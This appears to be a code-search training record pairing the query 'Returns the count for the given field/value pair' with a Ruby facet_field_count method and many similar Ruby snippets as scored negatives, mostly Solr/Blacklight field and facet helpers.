[solr_field(property), value]\n end\n end", "def get_field_from_solr id, field\n result = Blacklight.solr.get \"select\", :params => {:q => 'id:\"'+id+'\"', :qt => 'document', :fl => field, :rows => 1 }\n result[\"response\"][\"docs\"].empty? ? nil : result[\"response\"][\"docs\"].first[field]\n end", "def filter(param, field)\n terms = []\n\n param.each do |t|\n terms.push('term': { \"#{field}.keyword\": t })\n end\n\n terms\n end", "def fields\n @fields ||= []\n end", "def each_field\n @_field_path.each do |field_|\n yield(field_, @_values[field_.name])\n end\n end", "def field_names\n fields.keys\n end", "def fields\n @fields ||= []\n end", "def fields\n []\n end", "def occurrence_fields(field = occurrence)\n [:id, :scenario_id, :employee_type_id, :occurrence] + case field\n when 'Monthly' then [:fixed_delta]\n when 'Annually' then [:fixed_delta, :occurrence_month]\n when 'Fixed' then [:fixed_delta, :occurrence_period_id]\n when 'Revenue Threshold' then [:revenue_threshold]\n else []\n end\n end", "def get_for_field_and_term(name, term)\n @locations.select { |location| location.field == name && location.term == term }\n end", "def get_filter_values\n facet_filters.map { |facet_data| facet_data.split(':').last.split(',')}.flatten\n end", "def get_field_lookup_strings(field=nil,query_obj=nil)\n id = Validator::validate_field_lookup_string_arg(field)\n \n uri = URI.parse(@uri + '/Fields' + \"/#{id}\" +'/FieldLookupStrings')\n results = get(uri,query_obj)\n end", "def get_search_fields\n return self.class.search_fields&.map(&:to_s) || self.get_fields\n end", "def get(field)\n @dataset.get(field)\n end", "def get_for_field(name)\n @locations.select { |location| location.field == name }\n end", "def value\n #--- if field is a country field, convert the country_id into real name\n if custom_field_def.field_type == 'country'\n Country.find(field_data.to_i).english_name\n elsif field_data.is_a? Array\n # make into a comma delimited string. remove any blank/nil entries\n field_data.reject(&:blank?).join(', ')\n else\n field_data\n end\n end", "def on(field)\n self[field].to_a.first\n end", "def on(field)\n self[field].to_a.first\n end", "def map_facet_values\n map_facet_field = blacklight_config.view.maps.facet_mode == 'coordinates' ?\n blacklight_config.view.maps.coordinates_facet_field :\n blacklight_config.view.maps.geojson_field\n @response.aggregations[map_facet_field]&.items || []\n end", "def index\n @custom_field_values = CustomFieldValue.all\n end", "def field_param(array)\n array.inject([]) do |result, field|\n result << \"#{field[:field]}: #{set_value(field[:value])}\"\n result\n end.join(\", \")\n end", "def collect_and_join_subfield_values(field, code, separator = ' ')\n field.subfields.select { |sf| [*code].include?(sf.code) }.map(&:value).join(separator)\n end", "def search_facet_fields\n self.content_columns.select {|c| [:boolean,:decimal,:float,:integer,:string,:text].include?(c.type) }.map {|c| c.name }\n end", "def fields()\n if !@custom_fields || @fields.length == 0 then\n @elements.each { |field|\n if field.respond_to?(:is_form_field) then\n @fields << field.name\n @element_map[field.name.to_s] = field\n elsif field.is_a?(Fieldset) then\n @fields << { field.name => field.fields }\n @element_map.update(field.element_map)\n end\n }\n end\n @fields.uniq!\n return @fields\n end", "def each_field\n data['eachField']\n end", "def hl_field(document, k)\n if document.has_highlight_field?(k) && !document.highlight_field(k).empty?\n Array(document.highlight_field(k))\n elsif document.has_field?(k)\n Array(document.fetch(k))\n else\n []\n end\n end", "def field_ids\n @conditions['field_ids'] || cbobject.basis_fields\n end", "def field_as_json(field)\n res = \"'#{field.name}' => @#{field.name}\"\n field_base_type = _schema_base_class(field.type).type_sym\n\n if %i(record enum).include?(field_base_type)\n res += case field.type.type_sym\n when :array\n '.map { |v| v&.as_json }'\n when :map\n '.transform_values { |v| v&.as_json }'\n else\n '&.as_json'\n end\n end\n\n res + (field.name == @fields.last.name ? '' : ',')\n end" ]
[ "0.7192572", "0.7118694", "0.6763858", "0.66980416", "0.66125596", "0.655609", "0.65227234", "0.6465807", "0.64163935", "0.6354185", "0.6345768", "0.6160645", "0.6131727", "0.60930157", "0.6083253", "0.6048469", "0.59683245", "0.5963907", "0.59533566", "0.59263676", "0.59120286", "0.5885851", "0.5854085", "0.5852485", "0.58384943", "0.5822645", "0.580015", "0.5791053", "0.57885224", "0.5759272", "0.5758281", "0.57534117", "0.5753306", "0.5738448", "0.57309747", "0.5698979", "0.5673398", "0.56464416", "0.56464416", "0.5620726", "0.5607418", "0.5603071", "0.55940837", "0.5587384", "0.5586723", "0.55783886", "0.55758786", "0.5556175", "0.5553456", "0.55428624", "0.55118346", "0.5498154", "0.549658", "0.54791796", "0.54732895", "0.54670197", "0.5460887", "0.5436834", "0.54249376", "0.54095286", "0.54071665", "0.5397069", "0.5388123", "0.53682715", "0.5366003", "0.53592294", "0.53463066", "0.5339683", "0.53344584", "0.5326581", "0.53161293", "0.53101563", "0.5295176", "0.5266578", "0.5265398", "0.52576005", "0.5240969", "0.52394813", "0.523465", "0.5231228", "0.52291924", "0.52244556", "0.52183676", "0.51999205", "0.5197845", "0.51976347", "0.51954246", "0.5194078", "0.51923305", "0.51923305", "0.51882553", "0.517259", "0.51717836", "0.5169703", "0.5166231", "0.5161504", "0.51590466", "0.5157997", "0.5157991", "0.5155878" ]
0.6630106
4
Returns the count for the given field/value pair
def facet_field_count(field, value) facet_fields_by_hash[field.to_s][value.to_s] if facet_fields_by_hash[field.to_s] end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def field_count(field)\n return 0 if /^(\\w+)s_versions/.match?(field.to_s)\n\n # constantize is safe here because `field` is not user input\n FIELD_QUERIES[field]&.count || field.to_s.classify.constantize.count\n end", "def value_count(hash, value)\n hash.select { |_k, v| v == value }.length\nend", "def value_count(hash, value)\n count = 0\n hash.each { |elem| count += 1 if elem[1]==value }\n count\nend", "def count\n if pair?\n if @value2.pair?\n countsofar = @value2.count\n 1 + countsofar\n elsif @value2.nil?\n 1\n else\n 2\n end\n elsif nil?\n 0\n else\n 1\n end\n end", "def count; @value.size; end", "def value_count\n values.count\n end", "def count\n @obj['count'].to_i\n end", "def summarize_field(records, field)\n extracted = Hash.new(0)\n records.each do |record|\n begin\n value = field.split(\".\").inject(record) { |hash, key| hash[key] }\n rescue\n value = 'no such field'\n end\n extracted[value] += 1\n end\n return extracted\nend", "def get_field_count\n\t\tend", "def field_count\n @fields.size\n end", "def count value=false, &block\n if block_given?\n @data.select(&block).count\n elsif value\n count { |val| val == value }\n else\n size - indexes(*Daru::MISSING_VALUES).size\n end\n end", "def count\n values.inject(0){|m, v| m + v.length}\n end", "def my_count(val)\n counter = 0\n self.each do |ele|\n if ele == val\n counter += 1\n end\n end\n counter\n end", "def field_count fieldname\n case fieldname.downcase\n when /_tags$/\n tagtype = fieldname.sub /_tags$/, ''\n tagtype = ['Culinary Term', 'Untyped'] if tagtype == 'Other'\n visible_tags(:tagtype => tagtype).count\n when 'list', 'lists'\n ListServices.associated_lists(object).count # ListServices.find_by_listee(object).count\n end\n end", "def num_found_for_group(group_field, group_value)\n group = @solr_response[\"grouped\"][group_field][\"groups\"]\n docs_for_value = group.find {|x| x[\"groupValue\"] == group_value }\n return 0 if docs_for_value == nil\n docs_for_value[\"doclist\"][\"numFound\"]\n rescue\n 0\n end", "def number_of_fields(params = self.triggers)\n\t\tif params.present?\n\t\t\tparams.values.inject(0) do |sum, value|\n\t\t\t\tif value.is_a?(Hash)\n\t\t\t\t\t# puts value.keys.inspect\n\t\t\t\t\tsum + (value.keys.include?(\"o\") ? 1 : number_of_fields(value) )\n\t\t\t\telse\n\t\t\t\t\tsum + 1\n\t\t\t\tend\n\t\t\tend\n\t\telse\n\t\t\t0\n\t\tend\n\tend", "def count_field_names\n count_fields.map(&:to_s)\n end", "def count\n @data['count']\n end", "def num_equal_to(value)\n database.select { |k,v| v == value }.size\n end", "def load_field_counts(field, user_id = nil)\n count = \"*\"\n table = FIELD_TABLES[field] || field.to_s\n tables = \"#{table} t\"\n t_user_id = (table == \"users\" ? \"t.id \" : \"t.user_id \")\n conditions = t_user_id + (user_id ? \"= #{user_id}\" : \"> 0\")\n\n # Exception for species list entries.\n if field == :species_list_entries\n tables = \"species_lists t, #{table} os\"\n conditions += \" AND os.species_list_id = t.id\"\n end\n\n # Exception for past versions.\n if table =~ /^(\\w+)s_versions/\n parent = Regexp.last_match(1)\n count = \"DISTINCT #{parent}_id\"\n tables += \", #{parent}s p\"\n conditions += \" AND t.#{parent}_id = p.id\"\n conditions += \" AND #{t_user_id} != p.user_id\"\n end\n\n if (extra_conditions = FIELD_CONDITIONS[field])\n conditions += \" AND (#{extra_conditions})\"\n end\n\n query = %(\n SELECT COUNT(#{count}) AS cnt, #{t_user_id}\n FROM #{tables}\n WHERE #{conditions}\n GROUP BY #{t_user_id}\n ORDER BY cnt DESC\n )\n\n # Get data as:\n # data = [\n # [count, user_id],\n # [count, user_id],\n # ...\n # ]\n data = User.connection.select_rows(query)\n\n # Fill in @user_data structure.\n data.each do |cnt, usr_id|\n @user_data[usr_id.to_i] ||= {}\n @user_data[usr_id.to_i][field] = cnt.to_i\n end\n end", "def count\n self[:count].to_i\n end", "def field_count\n @fields.length\n end", "def count\n filtered = apply_criteria(@data)\n filtered.count\n end", "def number_of(val)\n res = 0\n @array.each { |row| row.each { |v| res +=1 if v == val } }\n res\n end", "def count(key)\n @counter[key]\n end", "def count(value)\n merge(ggsgpcount: value.to_s)\n end", "def getfreqs\n @freqs = Hash.new\n @fieldvalues.each do |v|\n @freqs[v] = @db.execute(\"select count(*) from #{@tablename} where #{@fieldname} = '#{v}'\").to_s \n end\nend", "def votes_count(voting_field = \"votes\")\n eval(voting_field).try(:[], 'count') || 0\n end", "def count\n @valueset.length\n end", "def count\n @options[:select] = \"COUNT\"\n @options.delete(:attributes_to_get)\n\n response = run\n\n while continue?(response)\n @options[:exclusive_start_key] = response.last_evaluated_key\n response = run(response)\n end\n\n response.count\n end", "def count_no\n rsvp.no.count\n end", "def count\n size = 0\n core_search.group(\"name.id, #{main_group_by_columns}\").each do |_x|\n size += 1\n end\n size\n end", "def count\n @attributes['count']\n end", "def count_by column_name, field\n inc = increment_mask_for column_name, field\n only = only_mask_for column_name, field\n # Create super-special-bitfield-grouping-query w/ AREL\n sql = arel_table.\n project(\"count(#{primary_key}) as #{field}_count, (#{column_name} & #{only})/#{inc} as #{field}\").\n group(field).to_sql\n connection.send :select, sql, 'AREL' # Execute the query\n end", "def count(grp)\n @counts[grp] || 0\n end", "def count_unique_related fieldname\n return 0 if fieldname.to_s.empty? # No fieldname assigned\n return 0 unless response_set.data # No data in our dataset\n\n # Get data for fieldname\n field_data = @question.lime_data.responses_for(fieldname)\n # Get index of all values that are not empty\n idx = []\n @response_set.data.each_with_index{|val, i|idx.push(i) if val != ''}\n return 0 if idx.empty?\n # get only values in idx, count uniq\n return field_data.values_at(*idx).uniq.count\n end", "def count(opts={})\n sq = Tripod::SparqlQuery.new(self.as_query(opts))\n count_sparql = sq.as_count_query_str\n result = Tripod::SparqlClient::Query.select(count_sparql)\n\n if result.length > 0\n result[0][\"tripod_count_var\"][\"value\"].to_i\n else\n return 0\n end\n end", "def count\n\t\t@input_ary.each_with_index { |line,i|\n\t\t\tif line =~ /^COUNT=([0-9]*)\\s*/\n\t\t\t\t@fileinfo[:count] = $1.to_i \n\t\t\t\tat = i+1\n\t\t\tend\n\t\t}\n\t\traise DTA_ReaderErr, \"Cannot define number of elements!\" unless @fileinfo[:count]\n\t\traise DTA_ReaderErr, \"Error parsing elements count :: #{@input_file}:#{at} :: COUNT=\" + $1.inspect if @fileinfo[:count] == 0\n\tend", "def count **args\n logger.progname = 'RestOperations#CountRecords'\n query = OrientSupport::OrientQuery.new args\n query.projection << 'COUNT (*)'\n result = get_records raw: true, query: query\n result.first['COUNT'] rescue 0 # return_value\n end", "def count; info['doc_count']; end", "def value_count\n $capitals.values.length\nend", "def count(data)\n return data.length\n end", "def count(query)\n read(query).length\n end", "def count\n # There are two occurrences, but they are the same\n total = first locator(:total)\n return total.text.to_i if total\n results? ? raise(RuntimeError, \"Couldn't determine result count\", caller) : 0\n end", "def count(options = {})\n query = {}\n\n if options[:filters]\n query['match'] = options[:filter_match] || 'AND'\n options[:filters].each_with_index do |filter, index|\n query[\"Filter#{index + 1}\"] = filter.join(' ')\n end\n end\n\n query[:system] = true if options[:system]\n\n @party.get(\"forms/#{@id}/entries/count\", query: query)['EntryCount']\n end", "def count_occurrences(array)\n result = {}\n array.each do |x|\n result[x] = if !result.key?(x)\n 1\n else\n result.fetch(x) + 1\n end\n end\n result.each do |k, count|\n p \"#{k} => #{count}\"\n end\nend", "def determine_count\n if empty?\n @count = 0\n return\n end\n\n result = 0\n\n with_record_stream do |stream|\n mapper = org.codehaus.jackson.map.ObjectMapper.new\n parser = mapper.getJsonFactory.createJsonParser(stream)\n\n while parser.nextToken\n result += 1\n parser.skipChildren\n skip_comma(parser)\n end\n end\n\n @count = result\n end", "def size\n BitCounter.count(@val)\n end", "def count\n @history.objects.find { |o| o.name == \"count\" }.val\n end", "def occurences_count\n\t\t\t\t\t\tHash.new(0).tap do |result|\n\t\t\t\t\t\t each { |item| result[item] += 1 }\n\t\t\t\t\t\tend\n\t\t\t\tend", "def counts\r\n @counts\r\n end", "def facet_field_values(field)\n facet_field_values ||= {}\n facet_field_values[field.to_s] ||= begin\n a = []\n facet_field(field).each_with_index do |val_or_count, i|\n a << val_or_count if i % 2 == 0 && facet_field(field)[i+1] > 0\n end\n a\n end\n end", "def get_occurrences\n occurrences = {}\n\n settings.fields.each do |field|\n occurrences[field] = get_occurrence(field, false)\n end\n\n occurrences\nend", "def counts\n count = Hash.new(0)\n self.each{|ele| count[ele] += 1}\n count\n end", "def count_records **args\n logger.progname = 'RestOperations#CountRecords'\n query = OrientSupport::OrientQuery.new args\n \tquery.projection << 'COUNT (*)'\n \tresult = get_records raw: true, query: query\n begin\n result.first['COUNT']\n rescue\n return 0\n end\n end", "def count(list)\n list.each do |hash|\n total += 1\n end\n return total\n end", "def count_documents_function\n \"function(keys, values) {\n return values.length;\n }\"\n end", "def zcount(key, min, max); end", "def zcount(key, min, max); end", "def collect_values_with_count\n\t\tvalues = Hash.new {|h,k| h[k]=0}\n\t\tself.class.ecore.eAllAttributes.each do |a|\n\t\t\tv = self.send(:\"#{a.name}\")\n\t\t\tif v!=nil\n\t\t\t\tif a.many\n\t\t\t\t\tv.each {|el| values[el]+=1}\n\t\t\t\telse\n\t\t\t\t\tvalues[v]+=1\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\tvalues\t\t\t\n\tend", "def record_count\n return nil unless @parsed_csv.size\n rows_with_values = @parsed_csv.reject { |row| row.to_hash.values.all?(&:nil?) }\n rows_with_values.count\n end", "def count\n count = 0\n each do |data|\n count += 1\n end\n count\n end", "def count( query )\n data = index_request({ \"q\" => query })\n return data[\"response\"][\"numFound\"]\n end", "def count_no\n rsvp.no.count\n end", "def val_count(cards)\n\t\t\"123456789TJQK\".chars.collect{|char| cards.count {|card| card.val == char}}\n\tend", "def count\n @count\n end", "def pfcount(*keys); end", "def pfcount(*keys); end", "def count\n @count ||= @query.count\n end", "def count\n @hash_tags.count\n end", "def test_processor_input_field_count_for_retention_fee_line_item_number_pbid_and_payment_status_code_with_data\n svc = ServicePaymentEob.find(10)\n total_field_count = svc.processor_input_field_count(facilities(:facility_25), true)\n assert_equal(total_field_count, 4)\n end", "def num_fields\n @fields.size\n end", "def count( args={} )\n args.merge!({ :count => \"1\" })\n result = request( :method => 'post', :url => @url, :query => generate_xml(args) )\n return result.to_i\n end", "def count\n @alarms.objects.find { |o| o.name == \"count\" }.val\n end", "def get_count(input)\n input.count('aeiou')\nend", "def count\n Integer(parsed_body['Meta']['TotalCount'] || parsed_body['Meta']['ResultCount'][self.class.count_field])\n end", "def stock_count(count)\n return count[:pets].count\nend", "def getCount\n return @nodeValues.size\n end", "def count\n @count\n end", "def count\n @count\n end", "def count\n @count\n end", "def count\n @map.count\n end", "def count\n @type_variants.values.reduce(0) { |m, o| m + o.size }\n end", "def count_unique_related unique_fieldname, data\n # bail if no data\n return 0 if data.empty?\n\n # Get index of all values that are not equal to filter\n idx = []\n data.each_with_index{|val, i|idx.push(i) if val == code}\n\n # Bail if nothing was found\n return 0 unless idx\n\n # count unique values\n values = question.lime_data.responses_for(unique_fieldname).values_at(*idx)\n return values.uniq.count{|val|val != ''}\n end", "def count\n Integer(parsed_body['meta']['total_results'])\n end", "def count(query)\n url_chunk = if query.is_a?(Frodo::Query)\n query.include_count\n query.to_s\n else\n service[query].query.count\n end\n\n body = api_get(url_chunk).body\n\n if query.is_a?(Frodo::Query)\n body['@odata.count']\n else\n # Some servers (*cough* Microsoft *cough*) seem to return\n # extraneous characters in the response.\n # I found out that the _\\xef\\xbb\\xbf contains probably invisible junk characters\n # called the Unicode BOM (short name for: byte order mark).\n body.scan(/\\d+/).first.to_i\n end\n end", "def num_fields\n IBM_DB.num_fields(@stmt)\n end", "def count(range)\n conn.zcount key, *range_pair(range)\n end", "def num_votes(value = nil)\n if value\n vote_hash.values.count { |v| v == value.to_i }\n else\n vote_hash.values.length\n end\n end", "def count\n @count\n end", "def count\n @count\n end", "def count\n @count\n end", "def count(*args)\n # Ignore first arg if it is not a Hash\n a = self.respond_to?(:construct_count_options_from_legacy_args) ?\n construct_count_options_from_legacy_args(*args) :\n construct_count_options_from_args(*args)\n column_name, options = *a\n find_every(options).count()\n end", "def count_occ(usages_list)\n count = 0\n usages_list.each do |k,v|\n if k['location']['type'] == 'pipeline'\n count += 1\n end\n end\n return count\nend", "def parcels_value_more10\n count = 0\n @posts.each {|x| count +=1 if x.value > 10}\n return count\n end", "def customer_pet_count(number)\n return number[:pets].count\nend", "def count(resource)\n list(resource.to_s,1)[\"meta\"][\"total_count\"]\n end", "def rows_count\n @values.count\n end", "def count\n @data.size\n end", "def count(where_pattern)\n client.query(\"#{prefixes} SELECT (COUNT(distinct(?resource)) as ?count) FROM <#{graph}> WHERE { #{where_pattern} }\").first[\"count\"].value.to_i\n end" ]
[ "0.698522", "0.6873907", "0.6811726", "0.6738298", "0.66344357", "0.66197896", "0.6560104", "0.64770913", "0.6427973", "0.6368535", "0.6365065", "0.632001", "0.6258066", "0.62240195", "0.6157146", "0.6151686", "0.61318624", "0.60647434", "0.60407794", "0.60309434", "0.6027806", "0.59801656", "0.5935292", "0.59090704", "0.58914536", "0.58789927", "0.5860094", "0.5857336", "0.5855072", "0.5848366", "0.5844083", "0.5837376", "0.5834313", "0.5832282", "0.5823865", "0.5817973", "0.5805316", "0.5802828", "0.5782098", "0.5781637", "0.5777894", "0.5776507", "0.5765625", "0.5741652", "0.57145184", "0.57083553", "0.57051945", "0.5701221", "0.56808656", "0.56755483", "0.56749386", "0.5673361", "0.5672182", "0.56601053", "0.5650883", "0.56488794", "0.56441236", "0.5641108", "0.5641108", "0.56383675", "0.5630936", "0.5630891", "0.5630443", "0.56215894", "0.56096697", "0.5608851", "0.5606001", "0.5606001", "0.5605345", "0.5603658", "0.56028384", "0.5592753", "0.5577383", "0.5573172", "0.55702525", "0.55694324", "0.55655575", "0.5559471", "0.5559098", "0.5559098", "0.5559098", "0.5557064", "0.5550076", "0.5539338", "0.5537417", "0.55352384", "0.5533904", "0.55307716", "0.5529624", "0.55247957", "0.55247957", "0.55247957", "0.55238825", "0.55195695", "0.55074894", "0.550434", "0.5502491", "0.5501928", "0.54886377", "0.54756683" ]
0.7691915
0
Returns the counts for a given facet_query_name
def facet_query_count_by_key(facet_query_key) facet_queries[facet_query_key.to_s] end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def facet_queries\n @facet_queries ||= facet_counts['facet_queries'] || {}\n end", "def facet_queries\n @facet_queries ||= facet_counts['facet_queries'] || {}\n end", "def results_count(query)\n refresh_elasticsearch\n Opportunity.__elasticsearch__.search(query: query[:query],\n sort: query[:sort]).\n results.count\n end", "def canned_query_count(key)\n query = SPLASH_CANNED_QUERIES[key.to_sym]\n raise ArgumentError.new(\"key must be in SPLASH_CANNED_QUERIES hash\") if query.nil?\n @response.facet_counts[\"facet_queries\"][query]\n end", "def count(query = { query: { match_all: {} } })\n client.count index: name, body: query\n end", "def document_counts\n @document_count ||= solr_response.facet_queries.each_with_object({}) do |(k, v), h|\n h[k.split(/:/).first] = v\n end\n end", "def count( query )\n data = index_request({ \"q\" => query })\n return data[\"response\"][\"numFound\"]\n end", "def facet_field_count(field, value)\n facet_fields_by_hash[field.to_s][value.to_s] if facet_fields_by_hash[field.to_s]\n end", "def facet_queries\n @facet_queries ||= facets['facet_queries'] || {}\n end", "def count(query)\n url_chunk = if query.is_a?(Frodo::Query)\n query.include_count\n query.to_s\n else\n service[query].query.count\n end\n\n body = api_get(url_chunk).body\n\n if query.is_a?(Frodo::Query)\n body['@odata.count']\n else\n # Some servers (*cough* Microsoft *cough*) seem to return\n # extraneous characters in the response.\n # I found out that the _\\xef\\xbb\\xbf contains probably invisible junk characters\n # called the Unicode BOM (short name for: byte order mark).\n body.scan(/\\d+/).first.to_i\n end\n end", "def render_facet_count(num, options = {})\n content_tag(:span, t('blacklight.search.facets.count', number: number_with_delimiter(num)))\n end", "def count(query)\n read(query).length\n end", "def render_facet_count(num, options = {})\n classes = (options[:classes] || []) << \"facet-count\"\n content_tag(\"span\", t('blacklight.search.facets.count', :number => num), :class => classes)\n end", "def fetch_facets(query, facets_array, include_zero)\n Rails.logger.debug(\"Finding facets for query '#{query}'\")\n criteria = {}\n criteria[:page_size] = 1\n criteria['facet[]'] = facets_array\n criteria['facet.mincount'] = 1 if !include_zero\n data = archivesspace.search(query, 1, criteria) || {}\n faceting = {}\n if !data['facets'].blank? && !data['facets']['facet_fields'].blank?\n faceting = data['facets']['facet_fields']\n end\n end", "def count(query={})\n collection.count({ query: query })\n end", "def facets\n @facets ||= raw_response['facet_counts'] || {}\n end", "def facet_query_aggregations\n return {} unless blacklight_config\n\n blacklight_config.facet_fields.select { |k,v| v.query }.each_with_object({}) do |(field_name, facet_field), hash|\n include_zero_hits = facet_field.dig('solr_params', 'facet.mincount') == 0\n salient_facet_queries = facet_field.query.map { |k, x| x[:fq] }\n items = facet_queries.select { |k,v| salient_facet_queries.include?(k) }.reject { |value, hits| !include_zero_hits && hits.zero? }.map do |value,hits|\n salient_fields = facet_field.query.select { |key, val| val[:fq] == value }\n key = ((salient_fields.keys if salient_fields.respond_to? :keys) || salient_fields.first).first\n Blacklight::Solr::Response::Facets::FacetItem.new(value: key, hits: hits, label: facet_field.query[key][:label])\n end\n\n hash[field_name] = Blacklight::Solr::Response::Facets::FacetField.new field_name, items\n end\n end", "def query_count(query, idx, type = 'document')\n response = request(\n :count,\n index: idx,\n type: type,\n body: query)\n response['count'].to_i || 0\n end", "def facet_query_aggregations\n return {} unless blacklight_config\n\n query_facet_fields = blacklight_config.facet_fields.select { |_k, v| v.query }\n query_facet_fields.each_with_object({}) do |(field_name, facet_field), hash|\n facet_query_params = facet_field.query.map { |_k, v| v[:fq] }\n response_facet_queries = facet_queries.dup\n response_facet_queries.select! { |k, _hits| facet_query_params.include?(k) }\n response_facet_queries.reject! { |_k, hits| hits == 0 }\n\n items = response_facet_queries.map do |value, hits|\n salient_fields = facet_field.query.select { |_k, v| v[:fq] == value }\n key = ((salient_fields.keys if salient_fields.respond_to? :keys) || salient_fields.first).first\n FacetItem.new(value: key, hits: hits, label: facet_field.query[key][:label])\n end\n\n hash[field_name] = FacetField.new(field_name, items)\n end\n end", "def count_people(query={})\n self.simple_client.get(\"/api/v1/people/count?#{query.to_query}\")[\"count\"]\n end", "def count\n query.count\n end", "def count\n query.count\n end", "def count(*vars)\n result = if vars.first.is_a?(Symbol)\n template = vars.shift\n # preserves an eventual wrapper by calling the template method\n self[:context].send(template, params(:size => 0), *vars)\n else\n Query.elastics.count_search(:get, self, *vars)\n end\n result['hits']['total']\n end", "def count\n size = 0\n core_search.group(\"name.id, #{main_group_by_columns}\").each do |_x|\n size += 1\n end\n size\n end", "def count\n @count ||= @query.count\n end", "def search_for_facet_values(facet_name, facet_query, search_parameters = {}, request_options = {})\n params = search_parameters.clone\n params['facetQuery'] = facet_query\n client.post(Protocol.search_facet_uri(name, facet_name), params.to_json, :read, request_options)\n end", "def aggregate(query)\n #query.model.last_query = query\n #y query\n _layout = layout(query.model)\n opts = query.fmp_options\n #opts[:template] = self.class.fmresultset_template_path\n prms = query.to_fmp_query\n #[prms.empty? ? _layout.all(:max_records=>0).foundset_count : _layout.count(prms)]\n [prms.empty? ? _layout.view.total_count : _layout.count(prms)]\n end", "def procedure_name_counts\n counts = Array.new\n\n if @db != nil\n is_ok = false\n\n begin\n stm = @db.prepare( 'SELECT qProc, COUNT( qProc ) As qCount FROM qryResults GROUP BY qProc ORDER BY qProc')\n rs = stm.execute\n\n rs.each do |row|\n result = { 'name' => row['qProc'], 'count' => row['qCount'] }\n counts.push result\n end\n\n stm.close\n is_ok = true\n rescue ::SQLite3::Exception => e\n Maadi::post_message(:Warn, \"Repository (#{@type}:#{@instance_name}) encountered an SELECT Procedure Name Counts error (#{e.message}).\")\n end\n end\n\n return counts\n end", "def record_counts(model_query, filtered_query)\n counts = Hash.new\n total = model_query.distinct.count(:id)\n\n # Handle results of joined queries. This feels a little bit hacky.\n total = total.keys.length if total.is_a?(Hash)\n\n counts[:total_rows] = total\n\n if tablesorter_params[:filter]\n # Count again if additional filters were applied (fires a query)\n cnt = filtered_query.count(\"#{model_query.table_name}.id\")\n\n # Handle results of having-queries. This feels a little bit hacky.\n cnt = cnt.keys.length if cnt.is_a?(Hash)\n\n counts[:filtered_rows] = cnt\n else\n counts[:filtered_rows] = total # There wasn't any reduction.\n end\n\n counts\n end", "def render_facet_count(num)\n content_tag(\"span\", t('blacklight.search.facets.count', :number => num), :class => \"badge\") \n end", "def count(layer_idx=0, options={})\n return nil unless self.metadata[\"capabilities\"] =~ /Query/\n query(layer_idx, options.merge(:returnCountOnly => true))\n end", "def count(opts={})\n sq = Tripod::SparqlQuery.new(self.as_query(opts))\n count_sparql = sq.as_count_query_str\n result = Tripod::SparqlClient::Query.select(count_sparql)\n\n if result.length > 0\n result[0][\"tripod_count_var\"][\"value\"].to_i\n else\n return 0\n end\n end", "def search_count(q)\n counts = handle_response(self.class.get(\"/searchcount.json\", :query => {:q => q}))\n Topsy::SearchCounts.new(counts)\n end", "def collect_facet_field_values(facet_field_results)\n results = {}\n facet_field_results.each do |facet_field, facet_counts|\n results[facet_field] = (0...facet_counts.length/2).map do |ix|\n { name: facet_counts[ix * 2], count: facet_counts[1 + ix * 2] }\n end\n end\n results\n end", "def count(project_id, event_collection, options = {})\n options[:event_collection] = event_collection\n \n resource \"projects/#{project_id}/queries/count\", options\n end", "def count\n filtered = apply_criteria(@data)\n filtered.count\n end", "def count(index, types, query, options=nil)\n query = {'q' => query} if query.is_a?(String)\n resp = get do |req|\n req.url \"#{index}/#{types}/_count\", query\n req.body = options if options\n end\n resp.body\n end", "def nqueries\n @nqueries ||= section_names.select {|name| name =~ /query/ }.length\n end", "def get_count conditions = []\n resp = $es.search(index: es_type_name, type: es_type_name, body: {\n query: get_query_body(conditions),\n size: 0\n })\n return resp['hits']['total']\n end", "def count(options = {})\n query = {}\n\n if options[:filters]\n query['match'] = options[:filter_match] || 'AND'\n options[:filters].each_with_index do |filter, index|\n query[\"Filter#{index + 1}\"] = filter.join(' ')\n end\n end\n\n query[:system] = true if options[:system]\n\n @party.get(\"forms/#{@id}/entries/count\", query: query)['EntryCount']\n end", "def retrieve_bing_result_stats bing, query\n\t\tstats = (bing/\"span[@id='count']\").inner_text\n\t\ttotal = stats.split.fifth\n\t\t\"Search for #{query} returned #{total} results\"\n\tend", "def counts\r\n @counts\r\n end", "def db_query_transform__count query\n tmp_table = \"resultset_table\"\n make_tmp_table = db_query_transform__subquery query, tmp_table\n \"SELECT COUNT(*) FROM #{make_tmp_table}\"\n end", "def count(constraints = {})\n query(constraints).count\n end", "def find_count(filters, opts = {})\n return super(filters, opts) unless should_query?(filters)\n return 0 if filters.values.any?(&:nil?)\n apply_scopes(filters, opts).total_count\n end", "def summarize(group_by, properties=[], query=nil, options={})\n rv = []\n\n fields = ([group_by]+[*properties]).compact.collect{|field|\n self.resolve_field(field)\n }.reverse\n\n # pop current field off the stack\n current_field = fields.pop()\n\n # perform query, only return facets (no documents)\n results = self.search({\n :facets => {\n :counts => {\n :facet_filter => (query.nil? ? nil : self.to_elasticsearch_query(query)),\n :terms => {\n :field => current_field,\n :size => (options[:limit].nil? ? DEFAULT_MAX_FACETS : options[:limit])\n },\n :global => true\n }.compact\n }\n }, {\n :limit => 0,\n :raw => true\n })\n\n # if we got anything...\n unless results.get('facets.counts.terms').nil?\n results.get('facets.counts.terms', []).each do |facet|\n rv << {\n :id => facet['term'],\n :field => self.unresolve_field(current_field),\n :count => facet['count'],\n :children => (fields.empty? ? nil :\n # we need to go deeper...\n self.summarize(fields[0], fields[1..-1], [query, \"#{self.unresolve_field(current_field)}/#{facet['term']}\"].compact.join('/'))\n )\n }.compact\n end\n\n # add in empty results as nulls\n if results.get('facets.counts.missing', 0) > 0\n rv << {\n :id => nil,\n :field => self.unresolve_field(current_field),\n :count => results.get('facets.counts.missing'),\n :children => (fields.empty? ? nil :\n # we need to go deeper...\n self.summarize(fields[0], fields[1..-1], [query, \"#{self.unresolve_field(current_field)}/null\"].compact.join('/'))\n )\n }\n end\n end\n\n return rv\n end", "def map_facet_values\n map_facet_field = blacklight_config.view.maps.facet_mode == 'coordinates' ?\n blacklight_config.view.maps.coordinates_facet_field :\n blacklight_config.view.maps.geojson_field\n @response.aggregations[map_facet_field]&.items || []\n end", "def better_tracks_query\n albums = self.albums.select(\"albums.*, COUNT(*) AS tracks_count\")\n .joins(:tracks).group(\"albums.id\")\n\n album_counts = {}\n albums.each do |album|\n album_counts[album.title] = album.tracks_count\n end\n\n album_counts\n end", "def test_facet_search_with_query\n records = Electronic.find_with_facet 